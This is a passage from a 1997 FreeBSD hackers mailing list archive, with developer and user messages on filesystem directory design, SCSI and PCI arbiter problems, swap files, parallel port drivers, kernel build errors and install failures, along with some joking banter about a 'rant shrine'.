than a zero inode number (say a "deleted" flag, which is useful for "undelete" as well). I'm not necessarily recommending skiplists, but by rewriting the block offset ordering for direct and indirect blocks, blocks could be reordered within clusters without a high impact; inserting near the head of a directory would be more expensive, but on average, create operations are less clustered than delete operations, and we know for sure that on average the *number* of each is equal (or our hard disks quickly fill up). If you were to flag the entries rather than deleting them so long as a flag operation occured in a timer window, then purge when the timer expired (inactivity purge), it would go a hell of a long way toward making it faster. Finally, VMS and NT ware not stupid when they put their globbing in the kernel space. Not only does it allow you to only push back matching entries instead of all entries, for a delete operation, it allows the entire globbed delete to occur in a single linear traversal of the directory structure. For news expiration, you would need to be able to glob on any attribute, not just name (specifically, create time). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 15 09:17:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA04382 for hackers-outgoing; Fri, 15 Aug 1997 09:17:51 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA04374; Fri, 15 Aug 1997 09:17:43 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA22999; Fri, 15 Aug 1997 09:11:59 -0700 From: Terry Lambert Message-Id: <199708151611.JAA22999@phaeton.artisoft.com> Subject: Re: NCR 810 fatal errors during install. (desperate plea) To: nadav@barcode.co.il (Nadav Eiron) Date: Fri, 15 Aug 1997 09:11:59 -0700 (MST) Cc: se@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: from "Nadav Eiron" at Aug 15, 97 12:48:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > However, the Handbook section on hardware seems to suggest there's a > problem with the arbiter in the Neptune chipset. My BIOS setup (it's a > phoenix BIOS) has an option called "PCI Arbiter". It's currently set to > System Default, and has a big red warning on it saying it is dangerous to > change if you don't know what you're doing, but it may be what we need. > Do you have any idea what I should set it to? The options it has are > System Default, Pure Rotating, and one for each master (i.e., CPU, > Built-In SCSI, ISA Bus, PCI Slot 2 and PCI Slot 3). The bus arbitration on Netptune and similar chipsets could only arbitrate between two bus master PCI devices, and would become confused if you had more. This is well documented. > Any advice on what to try here, if at all it would help, or should I just > do trial and error? My advice is "change nothing until you talk to someone who will be able to tell you the consequences of the change, preferrably the board manufacturer". Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 15 09:20:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA04521 for hackers-outgoing; Fri, 15 Aug 1997 09:20:26 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA04515 for ; Fri, 15 Aug 1997 09:20:19 -0700 (PDT) Received: (from pallenby@localhost) by zibbi.mikom.csir.co.za (8.8.6/8.8.5) id SAA25856; Fri, 15 Aug 1997 18:20:01 +0200 (SAT) From: Paul Allenby Message-Id: <199708151620.SAA25856@zibbi.mikom.csir.co.za> Subject: Re: Signal 11's.. In-Reply-To: <97Aug15.151826+0000_gmt.26400-77+45@engelska.se> from =?ISO-8859-1?Q?Thomas_Str=94mberg_=28Nobody=29?= at "Aug 15, 97 04:14:59 pm" To: nobody@engelska.se (=?iso-8859-1?Q?Thomas_Str=94mberg_=28Nobody=29?=) Date: Fri, 15 Aug 1997 18:20:01 +0200 (SAT) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Thomas Str”mberg (Nobody) wrote:" > On my FreeBSD-testing machine, I've been having problems installing the > 0812, 0813, and 0815 SNAP's (no problem with 2.2.2-RELEASE, 0618 SNAP, or > 0731 SNAP, at least during the install). Over an FTP install, it seems to > suddenly stop in random spots, with Write (-1 of 1024 bytes) and other odd > errors. I'll have to re-enable debug to give you a more technical post, but > this is what it says in the "emergency shell" window (debug not enabled): > > DEBUG: FTP Shutdown called. OpenConn = 1e94d0 > DEBUG: Signal 11 Caught - that's bad! > > This is from an FTP server inside the lan (tried using both IIS and WarFTPD > on two servers). > > If relevant: > > Kernel Enabled: 3C509 (10/340), SysCon, Floppy, both IDE selections. > Packages Selected: bin, doc, ports, man (has crashed in both bin, doc) > Hardware: AMD K5/133 (166+), 3C509 Ethernet, S3 video. > We had a very similar problem here at one stage. We traced it down to two machines running Windoze and very old versions of Winsock. That version of Winsock would close TCP connections between other machines. Probably that's not the cause of what you're seeing, though? Paul From owner-freebsd-hackers Fri Aug 15 10:01:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA06382 for hackers-outgoing; Fri, 15 Aug 1997 10:01:31 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA06374 for ; Fri, 15 Aug 1997 10:01:29 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id TAA26923; Fri, 15 Aug 1997 19:15:42 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708151715.TAA26923@ocean.campus.luth.se> Subject: Re: Memory management details In-Reply-To: <19970813173721.11238.qmail@iquest7.iquest.net> from "dyson@iquest.net" at "Aug 13, 97 12:37:21 pm" To: dyson@iquest.net Date: Fri, 15 Aug 1997 19:15:42 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to dyson@iquest.net: [...] > > 4)Or for that matter a project to add "swap files"? What is the > > maximum number of swap partitions allowed by the architecture? > > > That is a "bounded" project, that is pretty well understood, but just > not done yet. I don't think that anyone has made any progress. Not > to say that it is easy to do "right", but developing a properly > functioning swap on/ swap off a file is less risky than any of the above. > (The ONLY reason that we don't support swap-on directly, is that I don't > want to see it until we get a swap-off also.) The swap-off is not > trivial, but isn't brain-surgery either. Umm... I think I'm missing something here. You, John, should know most things in the VM category better then anyone, and you say we don't have it. Others say we do. What's the deal here? /Mikael From owner-freebsd-hackers Fri Aug 15 10:27:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07620 for hackers-outgoing; Fri, 15 Aug 1997 10:27:02 -0700 (PDT) Received: from cynic.portal.ca (root@cynic.portal.ca [204.174.36.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA07613 for ; Fri, 15 Aug 1997 10:26:57 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by cynic.portal.ca (8.8.5/8.8.5) with SMTP id KAA13986; Fri, 15 Aug 1997 10:26:51 -0700 (PDT) X-Authentication-Warning: cynic.portal.ca: cjs owned process doing -bs Date: Fri, 15 Aug 1997 10:26:46 -0700 (PDT) From: Curt Sampson To: StevenR362@aol.com cc: SimsS@ibm.net, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-Reply-To: <970814222009_-2074127211@emout14.mail.aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997 StevenR362@aol.com wrote: > Somebody should repost the J. Monroy and the motorcycle cowlings post > too. I still chuckle over that one. I'd really, really love to get my hands on a copy of that thread, if anyone still has it around. Neither Altavista nor Dejanews seem to know anything about it. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Through infinite myst, software reverberates Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. From owner-freebsd-hackers Fri Aug 15 10:43:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA08354 for hackers-outgoing; Fri, 15 Aug 1997 10:43:29 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA08336 for ; Fri, 15 Aug 1997 10:43:19 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA24676; Fri, 15 Aug 1997 10:37:11 -0700 From: Terry Lambert Message-Id: <199708151737.KAA24676@phaeton.artisoft.com> Subject: Re: Memory management details To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Fri, 15 Aug 1997 10:37:10 -0700 (MST) Cc: dyson@iquest.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199708151715.TAA26923@ocean.campus.luth.se> from "Mikael Karpberg" at Aug 15, 97 07:15:42 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > That is a "bounded" project, that is pretty well understood, but just > > not done yet. I don't think that anyone has made any progress. Not > > to say that it is easy to do "right", but developing a properly > > functioning swap on/ swap off a file is less risky than any of the above. > > (The ONLY reason that we don't support swap-on directly, is that I don't > > want to see it until we get a swap-off also.) The swap-off is not > > trivial, but isn't brain-surgery either. > > Umm... I think I'm missing something here. You, John, should know most > things in the VM category better then anyone, and you say we don't have > it. Others say we do. What's the deal here? The deal is that you can vnconfig a file as if it were a device, and then swap on the "hosted" device ...effectively swapping on a file. So it's *possible* using the current codebase. John is talking about "doing it right", where "swapon" takes a "-f" and a file name argument and does all it needs to do itself. John's right about the swap only being deconfigurable at reboot. NeXTStep had a swapfile that would grow dynamically, which is probably the ideal -- as long as you can bound the growth at the top and bottom ends (like John implied). But it also had the "can't deconfigure" problem that John wants to overcome. As he said, doing "the real thing" like he wants is trivial in the "start" case, but will take work for the "stop" case. How do you drain a swap file that's in use? It's a lot of work... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 15 11:36:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA11418 for hackers-outgoing; Fri, 15 Aug 1997 11:36:48 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA11410; Fri, 15 Aug 1997 11:36:37 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.8.6/jtpda-5.2) with ESMTP id UAA24472 ; Fri, 15 Aug 1997 20:36:16 +0200 (METDST) Received: from coreff (rtc104.reseau.uvsq.fr [193.51.24.20]) by guillotin.prism.uvsq.fr (8.8.4/jtpda-5.2) with SMTP id UAA09130 ; Fri, 15 Aug 1997 20:36:14 +0200 (MET DST) Message-ID: <33F4BEF3.446B9B3D@prism.uvsq.fr> Date: Fri, 15 Aug 1997 20:41:23 +0000 From: Nicolas Souchu X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: Poul-Henning Kamp CC: FreeBSD hackers , FreeBSD hardware Subject: Re: Parallel port developpements - ppbus References: <5696.871641825@critter.dk.tfs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Poul-Henning Kamp wrote: > > In message <33F43E94.41C67EA6@prism.uvsq.fr>, Nicolas Souchu writes: > >Hi there! > > > >ppbus (Parallel port bus) brings generic functions for peripherial > >detection > >and parallel port sharing. > > Cool! > > >Anyway, tell us which parallel-port-hardware should be first ported. > >---------------------------------------------------------------------------- > > Well, how about parallel printers and the PLIP/LPIP support ? :-) You're right, we should keep in mind existing good stuff :) - lpt.c has been ported (keeping code untouched, just inserting ppbus request/release func.) and must be tested About parallel printers, Anybody knows which printers are IEEE1284.1 (Transport Independent Printer Interface) compliant. What about this standard, should we implement it? - plip should of course. We want to move it to a standalone file... plip.c? nicolas -- Nicolas.Souchu@prism.uvsq.fr My ZIP Iomega home page... http://www.prism.uvsq.fr/~son/ppa3.html From owner-freebsd-hackers Fri Aug 15 11:50:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA12219 for hackers-outgoing; Fri, 15 Aug 1997 11:50:41 -0700 (PDT) Received: from onyx.atipa.com (user11064@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA12208 for ; Fri, 15 Aug 1997 11:50:29 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 15 Aug 1997 18:53:09 -0000 Date: Fri, 15 Aug 1997 12:53:09 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: freebsd-hackers@FreeBSD.ORG cc: freebsd-questions@FreeBSD.ORG Subject: Can not mount root on wd(2,a) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -- 2.2.2-RELEASE Installation --- I am using an ASUS TX97-XE motherboard (w/ 430TX chipset), with 2 hard drives (Quantum ST 3.2GB Ultra-DMA and Samsung 1GB cheapo). If I put the cheap hard drive on "Primary Salve", the performance of the UltraDMA will suffer. The interface needs to run in a common mode (PIO-4 since Samsung is not U-DMA capable), so Ultra DMA transfers would be disabled. So, I have the Quantum as Primary Master and the Samsung as Secondary Master. The kernel appropriately finds the drives as wd0 and wd2, but panics when it can't mount root on wd0 (as it should). Fresh install w/ kernel.GENERIC. If I try to: Boot: wd(2,a)/kernel.GENERIC, it responds: Error: D: 0x82 C:0 H:0 S:0, and I need to reboot. I have also tried wd(1,a)/kernel, which surprisingly boots the kernel(???), but then can't mount root. Any Suggestions? Kevin PS- Where are the docs for the "Boot:" options? It says [-abcCdghrsv] are acceptable flags, but I can not find what many of these do. What's the man page or FAQ? From owner-freebsd-hackers Fri Aug 15 12:07:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA13226 for hackers-outgoing; Fri, 15 Aug 1997 12:07:46 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA13221 for ; Fri, 15 Aug 1997 12:07:39 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wzRiX-000121-00; Fri, 15 Aug 1997 13:07:25 -0600 To: StevenR362@aol.com Subject: Re: FreeBSD --- ALPHA Cc: SimsS@ibm.net, freebsd-hackers@freebsd.org In-reply-to: Your message of "Thu, 14 Aug 1997 22:23:30 EDT." <970814222009_-2074127211@emout14.mail.aol.com> References: <970814222009_-2074127211@emout14.mail.aol.com> Date: Fri, 15 Aug 1997 13:07:25 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <970814222009_-2074127211@emout14.mail.aol.com> StevenR362@aol.com writes: : Somebody should repost the J. Monroy and the motorcycle cowlings post : too. I still chuckle over that one. Hey, there were no fairings then, what makes you think that there will be fairings now :-) Warner From owner-freebsd-hackers Fri Aug 15 12:23:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA14119 for hackers-outgoing; Fri, 15 Aug 1997 12:23:17 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA14094 for ; Fri, 15 Aug 1997 12:23:06 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id VAA10659; Fri, 15 Aug 1997 21:21:07 +0200 (MET DST) Date: Fri, 15 Aug 1997 21:21:07 +0200 (MET DST) Message-Id: <199708151921.VAA10659@bitbox.follo.net> From: Eivind Eklund To: "Jordan K. Hubbard" CC: freebsd-hackers@FreeBSD.ORG In-reply-to: "Jordan K. Hubbard"'s message of Thu, 14 Aug 1997 18:21:03 -0700 Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! References: <28333.871596741@wellserv.com> <2978.871608063@time.cdrom.com> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > And people REALLY REALLY REALLY need to get into the habit of reading > the errata (see http://www.freebsd.org/releases). We've answered a > lot of the same questions from the errata only 20 or 30 times in the > last week or so. :-( Finding the erratta from the main page isn't obvious - I had to look around for a while before finding it. I think it might be an idea to add a page to sysinstall before actually showing the menu, telling to look at (this URL) before reporting an error to the mailing-lists. Eivind. From owner-freebsd-hackers Fri Aug 15 12:25:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA14243 for hackers-outgoing; Fri, 15 Aug 1997 12:25:12 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA14236 for ; Fri, 15 Aug 1997 12:25:06 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wzRzJ-00013e-00; Fri, 15 Aug 1997 13:24:45 -0600 To: Michael Smith Subject: Re: reset screen hardware? Cc: grog@lemis.com, hackers@freebsd.org In-reply-to: Your message of "Fri, 15 Aug 1997 16:18:07 +0930." <199708150648.QAA24933@genesis.atrad.adelaide.edu.au> References: <199708150648.QAA24933@genesis.atrad.adelaide.edu.au> Date: Fri, 15 Aug 1997 13:24:45 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199708150648.QAA24933@genesis.atrad.adelaide.edu.au> Michael Smith writes: : ... and then write about thirty or so LKMs to cover the major video : chipsets in small enough chunks, and watch your code rot because nobody : in their right mind would use it. Hmm.. Should have read the rest of the thread before my last reply. Never mind. Warner From owner-freebsd-hackers Fri Aug 15 12:25:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA14273 for hackers-outgoing; Fri, 15 Aug 1997 12:25:25 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA14252 for ; Fri, 15 Aug 1997 12:25:15 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wzRy9-00013V-00; Fri, 15 Aug 1997 13:23:33 -0600 To: S ren Schmidt Subject: Re: reset screen hardware? Cc: grog@lemis.com, msmith@atrad.adelaide.edu.au, hackers@freebsd.org In-reply-to: Your message of "Fri, 15 Aug 1997 08:27:13 +0200." <199708150627.IAA17998@sos.freebsd.dk> References: <199708150627.IAA17998@sos.freebsd.dk> Date: Fri, 15 Aug 1997 13:23:33 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199708150627.IAA17998@sos.freebsd.dk> S ren Schmidt writes: : like that, I'll fight that tooth and nail. We wont have hundreds of : K's of code like that in kernel space. : There is hope however, there is work underways to do this via the : video BIOS, and that's a totally different story... Here's a thought: Have an lkm that syscons will use if present and loaded. This lkm just does one thing: reset the video card to text mode. It is a tiny expense in the kernel, provides a general mechanism that can be used to reset any card. While a video BIOS call would be even better (since they are all standardized), this wouldn't work on non-intel platforms that wish to do the same thing. Heck, on intel platforms, the lkm could likely just be the BIOS calls once the hair of making them gets sorted out. Comments? Warner From owner-freebsd-hackers Fri Aug 15 12:35:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA14782 for hackers-outgoing; Fri, 15 Aug 1997 12:35:48 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA14777 for ; Fri, 15 Aug 1997 12:35:45 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wzS9p-00014d-00; Fri, 15 Aug 1997 13:35:37 -0600 To: FreeBSD-hackers@freebsd.org Subject: Re: FreeBSD --- ALPHA Reply-to: chat@freebsd.org In-reply-to: Your message of "Fri, 15 Aug 1997 10:14:26 EDT." References: Date: Fri, 15 Aug 1997 13:35:36 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [ moving this to chat.. ] : > Somebody should repost the J. Monroy and the motorcycle cowlings post : Or better yet, J. Monroy Sr.'s denunciation of J. Monroy Jr. : That was a real hoot. Deliberate mispellings and all. Heh. Maybe it is time for a jkh rant shrine somewhere. Wayward pilgrims on a rant, needing good, quality rant text to cut and past can come here from across the planet. Rants everywhere will rise in quality and will therefore be more enjoyable to read! Getting the soft light, and nitch-like quality to the pictures of jkh on a good rant for this shrine may take a bit of image-magic and sneakiness to get the raw photos, but it would have a wonderful effect. Act now, don't let the famous postings ("no fairings reply", "bang, bang, bang, click click click") rot in bit rot due to sad neglect. Act now! Limited time offer. Be one of only 25 people to own their very own genuine black velvet rendition of jkh, complete with halo and UV glow paint suitable for any private shrine to the master you wish to setup! Don't miss your chance to get a genuine jkh gun! Makes wonderful clicking noises when the chambers are empty to add to any menical effect you wish to achieve. Or the jkh motorcycle faring. It is like riding with nothing at all! Warner From owner-freebsd-hackers Fri Aug 15 12:39:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA14988 for hackers-outgoing; Fri, 15 Aug 1997 12:39:05 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA14979 for ; Fri, 15 Aug 1997 12:39:02 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id MAA06220; Fri, 15 Aug 1997 12:38:48 -0700 (PDT) To: Dave Hayes cc: Jaye Mathisen , hackers@FreeBSD.ORG Subject: Re: Besides time, what the heck does it take to get DPT driver into , 2.2-stable? In-reply-to: Your message of "Fri, 15 Aug 1997 04:27:05 PDT." <199708151127.EAA23908@hokkshideh.jetcafe.org> Date: Fri, 15 Aug 1997 12:38:48 -0700 Message-ID: <6215.871673928@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Also, is 3.0 the last OS revision tree split FreeBSD will undergo? Not hardly. :) Jordan From owner-freebsd-hackers Fri Aug 15 12:43:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA15194 for hackers-outgoing; Fri, 15 Aug 1997 12:43:22 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA15189 for ; Fri, 15 Aug 1997 12:43:19 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id MAA06246; Fri, 15 Aug 1997 12:42:27 -0700 (PDT) To: "J. W. Ballantine" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: releng22.freebsd.org ftp In-reply-to: Your message of "Fri, 15 Aug 1997 08:14:50 EDT." <9708151214.AA15850@akiva.homer.att.com> Date: Fri, 15 Aug 1997 12:42:27 -0700 Message-ID: <6242.871674147@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Dumb question 724: Is there some specific reason why the > ftp service on releng22.freebsd.org doesn't allow one to: > > get 2.2-970814-RELENG.tar That is a feature of wu-ftpd. releng22.freebsd.org is running the stock FreeBSD ftpd and probably won't change anytime soon. Jordan From owner-freebsd-hackers Fri Aug 15 15:37:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA22807 for hackers-outgoing; Fri, 15 Aug 1997 15:37:02 -0700 (PDT) Received: from csemail.cropsci.ncsu.edu (csemail.cropsci.ncsu.edu [152.1.88.3]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA22800 for ; Fri, 15 Aug 1997 15:36:58 -0700 (PDT) From: rdkeys@csemail.cropsci.ncsu.edu Received: by csemail.cropsci.ncsu.edu (5.61-AIX-1.2/1.0) id AA101234 (for freebsd-hackers@freebsd.org, from rdkeys/rdkeys@csemail.cropsci.ncsu.edu); Fri, 15 Aug 97 18:46:24 -0400 Message-Id: <9708152246.AA101234@csemail.cropsci.ncsu.edu> Subject: Kernel rebuild timezone error in param.c To: freebsd-hackers@freebsd.org Date: Fri, 15 Aug 1997 18:46:20 -0400 (EDT) Cc: rdkeys@csemail.cropsci.ncsu.edu () X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk FreeBSD 2.2.-970814-SNAP. While rebuilding my kernel I get an error in param.c: cc -c -O -W -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -nostdinc -I. -I../.. -I../../sys -I../../../include -DI486_CPU -DSYSVMSG -DSYSVSEM -DSYSVSHM -DVISUAL_USERCONFIG -DUSERCONFIG -DUCONSOLE -DBOUNCE_BUFFERS -DCOMPAT_43 -DPROCFS -DDFFS -DINET -DKERNEL -Di386 -DLOAD_ADDRESS=0xF0100000 -DMAXUSERS=10 param.c param.c:82: `TIMEZONE' undeclared here (not in a function) param.c:82: initializer element for `tz.tz_minuteswest' is not constant param.c:82: `DST' undeclared here (not in a function) param.c:82: initializer element for `tz.tz_dsttime' is not constant *** Error code 1 Stop. # The code in question in param.c: struct timezone tz = { TIMEZONE, DST }; The header comments in the file indicate, if necessary: * Compiled with -DHZ=xx -DTIMEZONE=x -DDST=x -DMAXUSERS=xx Does this require adding the -DHZ=100 -DTIMEZONE=somevalue -DDST=somevalue to the kernel configuration file, or some other place? For EDT the value should be 4 for TIMEZONE? For EDT the value should be 0 for DST? Where/how is TIMEZONE and/or DST declared? Bob Keys rdkeys@csemail.cropsci.ncsu.edu From owner-freebsd-hackers Fri Aug 15 16:20:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA24561 for hackers-outgoing; Fri, 15 Aug 1997 16:20:43 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA24552 for ; Fri, 15 Aug 1997 16:20:39 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA01367; Fri, 15 Aug 1997 19:20:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Fri, 15 Aug 1997 19:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id TAA00210 for ; Fri, 15 Aug 1997 19:03:17 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id SAA01722; Fri, 15 Aug 1997 18:52:15 -0400 (EDT) Date: Fri, 15 Aug 1997 18:52:15 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708152252.SAA01722@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers, ponds!lakes.dignus.com!rivers Subject: Another "daily panics" story... Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk OK - I thought I would let everyone know the current status of the "daily panics" with my news server... 1) I have retired the 8-meg 386dx-33 motherboard and a rather questionable ne2000 card. 2) I have replaced these with a 24-meg 486dx2-66 (and a better ne2000 card :-) ) 3) The disk drive continues to be IDE... I was hoping this would have some effect on my problems; however, just this afternoon: panic: bad dir So - I have, at last, completely verified that the problem is not related to the processor, per se... - Dave Rivers - From owner-freebsd-hackers Fri Aug 15 16:37:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA25797 for hackers-outgoing; Fri, 15 Aug 1997 16:37:36 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA25777; Fri, 15 Aug 1997 16:37:31 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199708152337.QAA25777@hub.freebsd.org> Subject: Re: FreeBSD --- ALPHA To: chat@FreeBSD.ORG Date: Fri, 15 Aug 1997 16:37:30 -0700 (PDT) Cc: FreeBSD-hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at Aug 15, 97 01:35:36 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote: > > Act now! Limited time offer. Be one of only 25 people to own their > very own genuine black velvet rendition of jkh, complete with halo and > UV glow paint suitable for any private shrine to the master you wish > to 